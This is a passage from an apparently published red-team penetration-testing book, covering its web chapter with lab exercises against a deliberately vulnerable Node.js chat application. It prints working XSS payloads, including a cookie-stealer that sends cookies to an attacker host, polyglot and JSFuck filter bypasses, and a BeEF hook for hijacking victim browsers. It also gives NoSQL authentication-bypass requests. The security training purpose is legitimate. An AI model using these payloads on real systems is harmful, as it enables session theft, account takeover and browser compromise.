The commands and attacks for the web section can be extremely long and complicated.
To make it easy, I’ve included all the commands you’ll need for each lab here:
https://github.com/cheetz/THP-ChatSupportSystem/blog/master/lab.txt
The Red Team Web Application Attacks
The first two books focused on how to efficiently and effectively test Web Applications –
m
this time will be a little different. We are going to skip many of the basic attacks and
move into attacks that are used in the real world.
co
Since this is more of a practical book, we won’t go into all of the detailed technicalities of
a.
web application testing. However, this doesn’t mean that these details should be ignored.
A great resource for web application testing information is Open Web Application
Security Project, or OWASP. OWASP focuses on developing and educating users on
ag
application security. Every few years, OWASP compiles a list of the most common issues
and publishes them to the public - http://bit.ly/2HAhoGR. A more in-depth testing
guideline is located here: http://bit.ly/2GZbVZd. This document will walk you through
rm
the types of vulnerabilities to look for, the risks, and how to exploit them. This is a great
checklist document: http://bit.ly/2qyA9m1.
ba
As many of my readers are trying to break into the security field, I wanted to quickly
mention one thing: if you are going for a penetration testing job, it is imperative to know,
at a minimum, the OWASP Top 10 backwards and forwards. You should not only know
n-
what they are, but also have good examples for each one in terms of the types of risks they
bring and how to check for them. Now, let’s get back to compromising CSK.
ar
The Chat Support System lab that will be attacked was built to be interactive and highlight
both new and old vulnerabilities. As you will see, for many of the following labs, we
provide a custom VM with a version of the Chat Support System.
w.
The application itself was written in Node.js. Why Node? It is one of the fastest growing
applications that we see as penetration testers. Since a lot of developers seem to really
ww
like Node, I felt it was important for you to understand the security implications of
running JavaScript as backend code.
What is Node?
“Node.js® is a JavaScript runtime built on Chrome’s V8 JavaScript engine. Node.js uses
an event-driven, non-blocking I/O model that makes it lightweight and efficient.”
[https://nodejs.org/en/] Node.js’ package ecosystem, NPM, is the largest ecosystem of
open source libraries in the world.
At a very basic level, Node.js allows you to run JavaScript outside of a browser. Due to
the fact that Node.js is lean, fast, and cross-platform, it can greatly simplify a project by
unifying the stack. Although Node.js is not a web server, it allows a server (something
you can program in JavaScript) to exist in an environment outside of the actual Web
Client.
m
Benefits:
co
Very fast
Single-threaded JavaScript environment which is capable of acting as a
a.
standalone web application server
Node.js is not a protocol; it is a web server written in JavaScript
The NPM registry hosts almost half a million packages of free, reusable
Node.js code, which makes it the largest software registry in the world
ag
With Node.js becoming so popular in the past couple years, it is very important for
rm
penetration testers/Red Teamers to understand what to look for and how to attack these
applications. For example, a researcher identified that weak NPM credentials gave him
edit/publish access to 13% of NPM packages. Through dependency chains, an estimated
ba
In the following examples, our labs will be using Node.js as the foundation of our
ar
applications, which will utilize the Express framework (https://expressjs.com/) for our
web server. We will then add the Pug (https://pugjs.org/) template engine to our Express
framework. This is similar to what we are now commonly seeing in newer-developed
applications.
le
w.
ww
Express is a minimalistic web framework for Node.js. Express provides a robust set of
features for web and mobile applications so you don’t have to do a lot of work. With
modules called Middlewares, you can add third party authentication or services like
Facebook Auth or Stripe Payment processing.
Pug, formally known as Jade, is a server-side templating engine that you can (but do not
have to) use with Express. Jade is for programmatically generating the HTML on the
server and sending it to the client.
Let’s attack CSK and boot up the Chat Support System Virtual Machine.
m
co
a.
ag
rm
ba
n-
ar
le
w.
ww
Cyber Space Kittens: Chat Support Systems
You stumble across the externally-facing Cyber Space Kittens chat support system. As
you slowly sift through all the pages and understand the underlying system, you look for
weaknesses in the application. You need to find your first entry point into the server so
that you can pivot into the production environment.
m
You first run through all of your vulnerability scanner and web application scanner
co
reports, but come up empty-handed. It looks like this company regularly runs the
common vuln scanners and has patched most of its issues. The golden egg findings now
rely on coding issues, misconfigurations, and logic flaws. You also notice that this
a.
application is running NodeJS, a recently popular language.
ag
Setting Up Your Web Application Hacking Machine
Although there are no perfect recipes for Red Teaming Web Applications, some of the
rm
basic tools you will need include:
Arming yourself with browsers. Many browsers act very differently
especially with complex XSS evasion:
ba
https://wappalyzer.com/
BuiltWith: a web site profiler tool. Upon looking up a page, BuiltWith returns
all the technologies it can find on the page. BuiltWith’s goal is to help
developers, researchers and designers find out what technologies pages are
le
Retire.JS: scan a web app for use of vulnerable JavaScript libraries. The goal
of Retire.js is to help you detect use of a version with known vulnerabilities.
https://chrome.google.com/webstore/detail/retirejs/moibopkbhjceeedibkbk
ww
hl=en
Burp Suite (~$350): although this commercial tool is a bit expensive, it is
definitely worth every penny and a staple for penetration testers/Red
Teamers. Its benefits come from the add-ons, modular design, and user
development base. If you can’t afford Burp, OWASP ZAP (which is free) is
an excellent replacement.
Analyzing a Web Application
Before we do any type of scanning, it is important to try to understand the underlying code
and infrastructure. How can we tell what is running the backend? We can use
Wappalyzer, BuiltWith, or just Google Chrome inspect. In the images below, when
loading up the Chat application, we can see that the HTTP headers have an X-Powered
By: Express. We can also see with Wappalyzer that the application is using Express and
Node.js.
co
a.
ag
rm
Understanding the application before blindly attacking a site can help provide you with a
much better approach. This could also help with targeted sites that might have WAFs,
ba
Web Discovery
In the previous books, we went into more detail on how to use Burp Suite and how to
ar
penetration test a site. We are going to skip over a lot of the setup basics and focus more
on attacking the site.
le
We are going to assume, at this point, that you have Burp Suite all set up (free or paid) and
you are on the THP Kali image. Once we have an understanding of the underlying
system, we need to identify all the endpoints. We still need to run the same discovery
w.
om
Target URL: http://chat:3000
Word List:
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
GoBuster (https://github.com/OJ/gobuster)
.c
Very lightweight, fast directory and subdomain bruteforce tool
gobuster -u http://chat:3000 -w /opt/SecLists/Discovery/Web-
Content/raft-small-directories.txt -s 200,301,307 -t 20
ga
Your wordlists are very important. One of my favorite wordlists to use is an old one
valuable ma
called raft, which is a collection of many open source projects. You can find these and
other wordlists
https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content (which is
here:
ar
already included in your THP Kali image).
-b
Now that we are done with the overview, let’s get into some attacks. From a Red Team
perspective, we are looking for vulnerabilities we can actively attack and that provide the
most bang for our buck. If we were doing an audit or a penetration test, we might report
n
ignore those and focus on attacks that get us advanced access, shells, or dump PII.
le
great for bug bounties, but can we do more? What tools and methods can we use to better
utilize these attacks?
ww
So, we all know that XSS attacks are client-side attacks that allow an attacker to craft a
specific web request to inject malicious code into a response. This could generally be
fixed with proper input validation on the client and server-side, but it is never that easy.
Why, you ask? It is due to a multitude of reasons. Everything from poor coding, to not
understanding frameworks, and sometimes applications just get too complex and it
becomes hard to understand where an input goes.
Because the alert boxes don’t really do any real harm, let’s start with some of the basic
types of XSS attacks:
Cookie Stealing XSS: <script>document.write(‘<img src=“http://<Your
IP>/Stealer.php?cookie=’ %2B document.cookie %2B ’” />’);</script>
Forcing the Download of a File: <script>var link =
document.createElement(‘a’); link.href =
‘http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe’; link.download = ”;
m
document.body.appendChild(link); link.click();</script>
Redirecting User: <script>window.location =
co
“https://www.youtube.com/watch?v=dQw4w9WgXcQ”;</script>
Other Scripts to Enable Key Loggers, Take Pictures, and More
http://www.xss-payloads.com/payloads-list.html?
a.
c#category=capture
Obfuscated/Polyglot XSS Payloads
ag
In today’s world, the standard XSS payload still works pretty often, but we do come across
applications that block certain characters or have WAFs in front of the application. Two
good resources to help you start crafting obfuscated XSS payload attacks:
rm
https://github.com/foospidy/payloads/tree/master/other/xss
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
ba
Sometimes during an assessment, you might run into simple XSS filters that look for
strings like <script>. Obfuscating the XSS payload is one option, but it is also important
n-
to note that not all JavaScript payloads require the open and close <script> tags. There are
some HTML Event Attributes that execute JavaScript when triggered
(https://www.w3schools.com/tags/ref_eventattributes.asp). This means any rule that looks
ar
specifically for Script tags will be useless. For example, these HTML Event Attributes
that execute JavaScript being outside a <script> tag:
<b onmouseover=alert(‘XSS’)>Click Me!</b>
le
<svg onload=alert(1)>
<body onload=“alert(‘XSS’)”>
<img src=“http://test.cyberspacekittens.com”
w.
onerror=alert(document.cookie);>
ww
You can try each of these HTML entity attacks on the CSK application by going to the
application: http://chat:3000/ (remember to modify your /etc/host file to point chat to your
VM IP). Once you are there, register an account, log into the application, and go to the
chat functionality (http://chat:3000/chatchannel/1). Try the different entity attacks and
obfuscated payloads.
m
co
Other great resources for XSS:
a.
The first is Mind Map made by @jackmasa. This is a great document that
breaks down different XSS payloads based on where your input is served.
Although no longer on JackMasa GitHub page, a copy exists here:
ag
http://bit.ly/2qvnLEq.
Another great resource that discusses which browsers are vulnerable to which
XSS payloads is: https://html5sec.org/.
rm
ba
n-
ar
le
As you can see, it is sometimes annoying to try to find every XSS on an application. This
is because vulnerable parameters are affected by code features, different types of HTML
tags, types of applications, and different types of filtering. Trying to find that initial XSS
ww
pop-up can take a long time. What if we could try and chain multiple payloads into a
single request?
This last type of payload is called a Polyglot. A Polyglot payload takes many different
types of payload/obfuscation techniques and compiles them into one attack. This is great
for automated scripts to look for XSS, bug bounty hunters with limited time, or just a
quick way to find input validation issues.
So, instead of the normal <script>alert(1)</script>, we can build a Polyglot like this
(http://bit.ly/2GXxqxH):
/*-/*`/*`/*’/*”/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/
—!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
om
If you look at the payload above, the attack tries to break out of comments, ticks and
slashes; perform an onclick XSS; close multiple tags; and lastly tries an onload XSS.
.c
These types of attacks make Polyglots extremely effective and efficient at identifying
XSS. You can read more about these Polyglot XSSs here:
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
ga
If you want to test and play around with the different polyglots, you can start here on the
BeEF
r ma
vulnerable XSS pages (http://chat:3000/xss) or throughout the Chat Application.
user’s system. This creates a C2 channel on the victim’s browser for JavaScript post-
exploitation.
n-
From a Red Team perspective, BeEF is a great tool to use on campaigns, track users,
capture credentials, perform clickjacking, attack with tabnapping and more. If not used
ar
during an attack, BeEF is a great tool to demonstrate the power of an XSS vulnerability.
This could assist in more complicated attacks as well, which we will discuss later in the
book under Blind XSS.
le
BeEF is broken down into two parts: one is the server and the other is the attack payload.
To start the server:
w.
Start BeEF on Your Attacker Kali Host
ww
From a Terminal
beef-xss
Authenticate with beef:beef
View http://127.0.0.1:3000/hook.js
Full Payload Hook File:
<script src=“http://<Your IP>:3000/hook.js”></script>
Viewing your hook.js file located on http://127.0.0.1:3000/hook.js, you should see
something that resembles a long-obfuscated JavaScript file. This is the client payload to
connect your victim back to the command and control server.
Once you have identified an XSS on your target application, instead of the original alert(1)
style payload, you would modify the <script src=“http://<Your IP>:3000/hook.js”>
</script> payload to exploit the vulnerability. Once your victim falls for this XSS trap, it
m
will cause their browser to connect back to you and be a part of your Zombie network.
co
What types of post exploitation attacks does BeEF support? Once your victim is under
a.
your control, you really can do anything that JavaScript can do. You can turn on their
camera via HTLM5 and take a picture of your victim, you can push overlays on their
screen to capture credentials, or you can redirect them to a malicious site to execute
malware.
ag
Here is a quick demonstration of BeEF’s ability to cause massive issues from an XSS
rm
attack:
ba
First, make sure your BeEF server is running on your attacker machine. On our
vulnerable Chat Support System’s application, you can go to http://chat:3000/xss and
inside the Exercise 2 field and put in your payload:
n-
<script src=“http://127.0.0.1:3000/hook.js”></script>
ar
Once your victim is connected to your Zombie network, you have full control of their
browser. You can do all sorts of attacks based on their device, browser, and enabled
features. A great way to demonstrate XSS impact with social engineering tactics is by
le
Once executed, a pop-up will be presented on the victim’s machine, forcing them to install
an update, which will contain additional malware.
m
co
a.
ag
rm
I recommend spending some time playing around with all the BeEf post exploitation
modules and understanding the power of JavaScript. Since we control the browser, we
have to figure out how to use this in terms of Red Team campaigns. What else might you
ba
want to do once you have infected a victim from an XSS? We will discuss this in the XSS
to Compromise section.
n-
Blind XSS
r
Blind XSS is rarely discussed as it is a patient person’s game. What is Blind XSS? As the
name of the attack suggests, it is when an execution of a stored XSS payload is not visible
ea
w.
For example, let’s assume an application has a “contact us” page that allows a user to
supply contact information to the administrator in order to be contacted later. Since the
results of that data are only viewable by an administrator manually and not the requesting
ww
user and if the application was vulnerable to XSS, then the attacker would not
immediately see their “alert(1)” attack. In these cases, we can use XSSHunter
(https://xsshunter.com) to help us validate the Blind XSS.
How XSSHunter works is that when our JavaScript payload executes, it will take a
screenshot of the victim’s screen (the current page they are viewing) and send that data
back to the XSSHunter’s site. When this happens, XSSHunter will send an alert that our
payload executed and provide us with all the detailed information. We can now go back to
create a very malicious payload and replay our attack.
XSS Hunter:
Disable any Proxies (i.e. Burp Suite)
Create account at https://xsshunter.com
Login at https://xsshunter.com/app
m
Go to Payloads to get your Payload
Modify the payload to fit your attack or build a Polyglot with it
co
Check XSS hunter to see the payload execution
a.
ag
rm
ba
n-
ar
le
w.
ww
co
What exactly is the DOM? The Document Object Model (DOM) is a representation of
HTML properties. Since your browser doesn’t understand HTML, it uses an interpreter
that transforms HTML into a model called the DOM.
a.
Let’s walk through this on the Chat Support Site. Looking at the vulnerable web
application, you should be able to see that the chat site is vulnerable to XSS:
ag
Create an account
Login rm
Go to Chat
Try <script>alert(1)</script> and then try some crazy XSS attacks!
ba
In our example, we have Node.js on the server side, socket.io (a library for Node.js)
setting up web sockets between the user and server, client-side JavaScript, and our
malicious msg.msgText JavaScript. As you can see below and in source code for the
n-
page, you will not see your “alert” payload directly referenced as you would in a standard
reflective/stored XSS. In this case, the only reference we would receive that indicates
where our payload might be called, is from the msg.name reference. This does sometimes
ar
make it hard to figure out where our XSS payload is executed or if there is a need to break
out of any HTML tags.
le
w.
ww
Advanced XSS in NodeJS
One of the big reasons why XSS keeps coming back is that it is much harder than just
filtering for tags or certain characters. XSS gets really difficult to defend when the
payloads are specific to a certain language or framework. Since every language has its
oddities when it comes to vulnerabilities, it will be no different with NodeJS.
In the Advanced XSS section, you are going to walk through a few examples where
language-specific XSS vulnerabilities come into play. Our NodeJS web application will
be using one of the more common web stacks and configurations. This implementation
includes the Express Framework (https://expressjs.com/) with the Pug template engine
(https://pugjs.org/). It is important to note that by default, Express really has no built-in
m
XSS prevention unless rendering through the template engine. When a template engine
co
like Pub is used, there are two common ways of finding XSS vulnerabilities: (1) through
string interpolation, and (2) buffered code.
a.
Template engines have a concept of string interpolation, which is a fancy way of saying
“placeholders for string variables.” For example, let’s assign a string to a variable in the
Pug template format:
ag
- var title = “This is the HTML Title”
- var THP = “Hack the Planet” rm
h1 #{title}
p The Hacker Playbook will teach you how to #{THP}
ba
Notice that the #{THP} is a placeholder for the variable that was assigned prior to THP.
We commonly see these templates being used in email distribution messages. Have you
ever received an email from an automated system that had Dear ${first_name}… instead
n-
of your actual first name? This is exactly what templating engines are used for.
ar
When the template code above is rendered into HTML, it will look like:
<h1>This is the HTML Title</h1>
<p>The Hacker Playbook will teach you how to Hack the Planet</p>
le
Luckily, in this case, we are using the “#{}” string interpolation, which is the escaped
w.
version of Pug interpolation. As you can see, by using a template, we can create very
reusable code and make the templates very lightweight.
ww
Pug supports both escaped and unescaped string interpolation. What’s the difference
between escaped and unescaped? Well, using escaped string interpolation will HTML-
encode characters like <,>,’, and “. This will assist in providing input validation back to
the user. If a developer uses an unescaped string interpolation, this will generally lead to
XSS vulnerabilities.
Furthermore, string interpolation (or variable interpolation, variable substitution, or
variable expansion) is the process of evaluating a string literal containing one or more
placeholders, yielding a result in which the placeholders are replaced with their
corresponding values. [https://en.wikipedia.org/wiki/String_interpolation]
In Pug escaped and unescaped string interpolation
(https://pugjs.org/language/interpolation.html):
!{} – Unescaped string interpolation
#{} – Escaped string interpolation *Although this is escaped, it
m
could still be vulnerable to XSS if directly passed through
JavaScript
co
In JavaScript, unescaped buffer code starts with “!=”. Anything after the “!=”
will automatically execute as JavaScript.
[https://pugjs.org/language/code.html#unescaped-buffered-code]
a.
Lastly, anytime raw HTML is allowed to be inserted, there is the potential for
XSS.
ag
In the real world, we have seen many cases that were vulnerable to XSS, based on the
above notation where the developer forgets which context they are in and from where the
rm
input is being passed. Let’s take a look at a few of these examples on our vulnerable Chat
Support System Application. Go to the following URL on the VM: http://chat:3000/xss.
We will walk through each one of these exercises to understand NodeJS/Pug XSS.
ba
Exercise 1 (http://chat:3000/xss)
In this example, we have escaped string interpolation into a paragraph tag. This is not
n-
exploitable because we are using the correct escaped string interpolation notation within
the HTML paragraph context.
Go to http://chat:3000/xss and click Exercise #1
ar
<script>alert(1)</script>
Click back on Exercise #1 and review the No Results Output
View the HTML Response (view the Source Code of the page):
w.
<script>alert(1)</script>
ww
After hitting submit, look at the page source code (ctrl+u) and search for the word “alert”.
You are going to see that the special characters from our payload are converted into
HTML entities. The script tags are still visible on our site through our browser, but are not
rendered into JavaScript. This use of string interpolation is correct and there is really no
way to break out of this scenario to find an XSS. A+ work here! Let’s look at some poor
implementations.
Exercise 2
In this example, we have unescaped string interpolation denoted by the !{} in a paragraph
m
tag. This is vulnerable to XSS by design. Any basic XSS payload will trigger this, such
as: <script>alert(1)</script>
co
Go to Exercise #2
The Pug Template Source Code:
p No results found for !{name2}
a.
Try entering the payload:
<script>alert(1)</script>
Response:
ag
<script>alert(1)</script>
After hitting submit, we should see our pop-up. You can verify by looking at
the page source code and searching for “alert”.
rm
So, using unescaped string interpolation (!{name2}) where user input is submitted, leads
ba
to a lot of trouble. This is a poor practice and should never be used for user-submitted
data. Any JavaScript we enter will be executed on the victim’s browser.
n-
ar
le
w.
ww
Exercise 3
In this example, we have escaped string interpolation in dynamic inline JavaScript. This
means we are protected since it’s escaped, right? Not necessarily. This example is
vulnerable because of the code context we are in. We are going to see that in the Pug
Template, prior to our escaped interpolation, we are actually inside a script tag. So, any
JavaScript, although escaped, will automatically execute. Even better, because we are in a
Script tag, we do not need to use the <script> tag as part of our payload. We can use
straight JavaScript, such as: alert(1):
Go to Example #3
Pug Template Source Code:
m
script.
var user3 = #{name3};
co
p No results found for #{name3}
This template will translate in HTML like the following:
<script>
a.
<p>No results found for [escaped user input]</p>
</script>
Try entering the payload:
ag
1;alert(1);
After hitting submit, we should see our pop-up. You can verify by looking at
the page source code and searching for “alert”.
rm
Although, a small change, the proper way to write this would have been to add quotes
ba
var user3=”#{name3}”
rn
Exercise 4
In this example, we have Pug unescaped buffered code
(https://pugjs.org/language/code.html) denoted by the != which is vulnerable to XSS by
ea
design, since there is no escaping. So in this scenario, we can use the simple
“<script>alert(1)</script>” style attack against the input field.
l
m
You could also try things like <script>alert(1)</script>, but
escaped code and the filter will catch us. What could we do if we
co
really wanted to get our alert(1) payload?
We need to figure out how to bypass the filter to insert raw JavaScript.
Remember that JavaScript is extremely powerful and has lots of functionality.
a.
We can abuse this functionality to come up with some creative payloads. One
way to bypass these filters is by utilizing esoteric JavaScript notation. This
can be created through a site called: http://www.jsfuck.com/. As you can see
ag
below, by using brackets, parentheses, plus symbols, and exclamation marks,
we can recreate alert(1).
JSF*ck Payload: rm
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!!
[]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+
[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!!
[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+
ba
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!!
[]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+
[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!!
n-
[]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+
[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])
ar
[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+
(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])
[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+
le
[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+
[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[]
w.
[(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+
[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]])()
ww
m
co
a.
ag
As you know, many browsers have started to include XSS protections. We have even used
these payloads to bypass certain browser protections. Try using them in your actual
browser outside of Kali, such as Chrome.
rm
XSS is not an easy thing to protect from on complex applications. It is easy to either miss
ba
or not escaping is required in that context, is vital as we will see in the following
examples.
ar
Although these attacks were specific to Node and Pug, every language has its problems
against XSS and input validation. You won’t be able to just run a vulnerability scanner or
le
XSS fuzzing tool and find all the XSS vulnerabilities. You really need to understand the
language and frameworks used.
w.
XSS to Compromise
One question I get often is, how can I go from an XSS to a Shell? Although there are
ww
many different ways to do this, we usually find that if we can get a user-to-admin style
XSS in a Content Management System (CMS) or similar, then this can lead to complete
compromise of the system. An entire walkthrough example and code can be found here
by Hans-Michael Varbaek: https://github.com/Varbaek/xsser. Hans-Michael presented
some great examples and videos on recreating an XSS to RCE attack.
A custom Red Team attack that I like to utilize involves taking advantage of the features of
JavaScript. We know that JavaScript is extremely powerful and we have seen such
features in BeEF (Browser Exploitation Framework). Therefore, we can take all that
functionality to perform an attack unbeknownst to the victim. What would this payload
do? One example of an attack is to have the JavaScript XSS payload that runs on a victim
machine grab the internal (natted) IP address of the victim. We can then take their IP
address and start scanning their internal network with our payload. If we find a known
web application that allows compromise without authentication, we can send a malicious
payload to that server.
co
For example our target could be a Jenkins server, which we know if unauthenticated,
pretty much allows complete remote code execution. To see a full walkthrough of an XSS
to Jenkins compromise, see chapter 5 - Exploiting Internal Jenkins with Social
a.
Engineering.
ag
NoSQL Injections
In THP 1 & 2, we spent a fair amount of time learning how to do SQL injections and using
SQLMap (http://sqlmap.org/). Other than some obfuscation and integration into Burp
rm
Suite, not much has changed from THP2. Instead, I want to delve deeper into NoSQL
injections as these databases are becoming more and more prevalent.
ba
Traditional SQL databases like MySQL, MSSQL, and Oracle rely on structured data in
relational databases. These databases are relational, meaning data in one table has relation
n-
to data in other tables. That makes it easy to perform queries such as “give me all clients
who bought something in the last 30 days”. The caveat with this data is that the format of
the data must be kept consistent across the entire database. NoSQL databases consist of
ar
the data that does not typically follow the tabular/relational model as seen in SQL-queried
databases. This data, called “unstructured data” (like pictures, videos, social media),
doesn’t really work with our massive collection data.
le
NoSQL Features:
w.
In traditional SQL injections, an attacker would try to break out of an SQL query and
modify the query on the server-side. With NoSQL injections, the attacks may execute in
other areas of an application than in traditional SQL injections. Additionally, in traditional
SQL injections, an attacker would use a tick mark to break out. In NoSQL injections,
vulnerabilities generally exist where a string is parsed or evaluated into a NoSQL call.
Vulnerabilities in NoSQL injections typically occur when: (1) the endpoint accepts JSON
data in the request to NoSQL databases, and (2) we are able to manipulate the query using
NoSQL comparison operators to change the NoSQL query.
A common example of a NoSQL injection would be injecting something like:
[{“$gt”:””}]. This JSON object is basically saying that the operator ($gt) is greater than
NULL (””). Since logically everything is greater than NULL, the JSON object becomes a
true statement, allowing us to bypass or inject into NoSQL queries. This would be
om
equivalent to [‘ or 1=1—] in the SQL injection world. In MongoDB, we can use one of
the following conditional operators:
.c
(>) greater than - $gt
(<) less than - $lt
(>=) greater than equal to - $gte
ga
(<= ) less than equal to - $lte
ma
Attack the Customer Support System NoSQL Application
First, walk through the NoSQL workflow on the Chat application:
In a browser, proxying through Burp Suite, access the Chat application:
r
http://chat:3000/nosql
ba
Try to authenticate with any username and password. Look at POST traffic
that was sent during that authentication request in Burp Suite
.
n-
ar
le
w.
ww
In our Chat application, we are going to see that during authentication to the /loginnosql
endpoint, our POST data will contain
{“username”:”admin”,”password”,”GuessingAdminPassword”}. It is pretty common to
see JSON being used in POST requests to authenticate a user, but if we define our own
JSON objects, we might be able to use different conditional statements to make true
statements. This would effectively equal the traditional SQLi 1=1 statement and bypass
authentication. Let’s see if we can inject this into our application.
Server Source Code
In the NoSQL portion of the Chat application, we are going to see the JSON POST request
as we did before. Even though, as a black box test, we wouldn’t see the server-side source
code, we can expect it to query the MongoDB backend in some sort of fashion similar to
this:
om
db.collection(collection).find({“username”:username,
“password”:password}).limit(1)…
.c
Injecting into NoSQL Chat
As we can see from the server-side source code, we are taking the user-supplied
ga
username/password to search the database for a match. If we can modify the POST
request, we might be able to inject into the database query.
http://chat:3000/nosql ma
In a browser, proxying through Burp Suite, access the Chat application:
{“username”:“admin”,“password”,“GuessingAdminPassword”} to
{“username”:“admin”,“password”:{“$gt”:””}}
You should now be logged in as admin!
n-
ar
le
w.
ww
So what happened here? We changed the string “GuessingAdminPassword” to a JSON
object {“$gt”:””}, which is the TRUE statement as everything Greater Than NULL is
TRUE. This changed the POST request to {“username”:“admin”,“password”:TRUE},
which automatically makes the request TRUE and logs in as admin without any
knowledge of the password, replicating the 1=1 attack in SQLi.
Advanced NoSQLi
NoSQL injections aren’t new, but the purpose of the NodeJS chapter is to show how
newer frameworks and languages can potentially introduce new vulnerabilities. For
example, Node.js has a qs module that has specific syntax to convert HTTP request
parameters into JSON objects. The qs module is used by default in Express as part of the
‘body-parser’ middleware.
qs module: A querystring parsing and stringifying library with some added
security. [https://www.npmjs.com/package/qs]
co
What does this mean? If the qs module is utilized, POST requests will be converted on the
server side as JSON if using bracket notation in the parameters. Therefore, a POST
request that looks like username[value]=admin&password[value]=admin will be
a.
converted into {“username”: {“value”:“admin”}, “password”:{“value”:“admin”}}. Now,
the qs module will also accept and convert POST parameters to assist in NoSQLi:
For example, we can have a POST request like the following:
ag
username=admin&password[$gt]=
And the server-side request conversion would translate to:
{“username”:“admin”, “password”:{“$gt”:””}
rm
This now looks similar to the original NoSQLi attack.
ba
Now, our request looks identical to the NoSQLi we had in the previous section. Let’s see
this in action:
Go to http://chat:3000/nosql2
-
w .l
ww
You should be logged in with admin! You have executed the NoSQL injection using the
qs module parser utilized by the Express Framework as part of the body-parser
middleware. But wait, there’s more! What if you didn’t know which usernames to
attack? Could we use this same attack to find and log in as other accounts?
What if instead of the password comparison, we tried it on the username as well? In this
case, the NoSQLi POST request would look something like:
username[$gt]=admin&password[$gt]=&submit=login
The above POST request essentially queries the database for the next username greater
m
than admin with the password field resulting in a TRUE statement. If successful, you
co
should be logged in as the next user, in alphabetical order, after admin. Continue doing
this until you find the superaccount.
a.
More NoSQL Payloads:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20inject
ag
https://blog.websecurify.com/2014/08/hacking-nodejs-and-
mongodb.htmlhttps://www.owasp.org/index.php/Testing_for_NoSQL_injection
rm
Deserialization Attacks
Over the past few years, serialization/deserialization attacks via web have become more
ba
and more popular. We have seen many different talks at BlackHat, discovered critical
vulnerabilities in common applications like Jenkins and Apache Struts2, and are seeing a
lot of active research being developed like ysoserial
n-
Before we get started, we need to understand why we serialize. There are many reasons to
serialize data, but it is most commonly used to generate a storable representation of a
value/data without losing its type or structure. Serialization converts objects into a stream
le
of bytes to transfer over network or for storage. Usually conversion method involves
XML, JSON, or a serialization method specific to the language.
w.
Deserialization in NodeJS
Many times, finding complex vulnerabilities requires in-depth knowledge of an
ww
application. In our scenario, the Chat NodeJS application is utilizing a vulnerable version
of serialize.js (https://github.com/luin/serialize). This node library was found to be
vulnerable to exploitation due to the fact that “Untrusted data passed into the unserialize()
function can be exploited to achieve arbitrary code execution by passing a JavaScript
Object with an Immediately Invoked Function Expression (IIFE).”
[https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941]
Let’s walk through the details of an attack to better understand what is happening. First,
we review the serialize.js file and do a quick search for eval
(https://github.com/luin/serialize/search?utf8=%E2%9C%93&q=eval&type=). Generally,
allowing user input to go into a JavaScript eval statement is bad news, as eval() executes
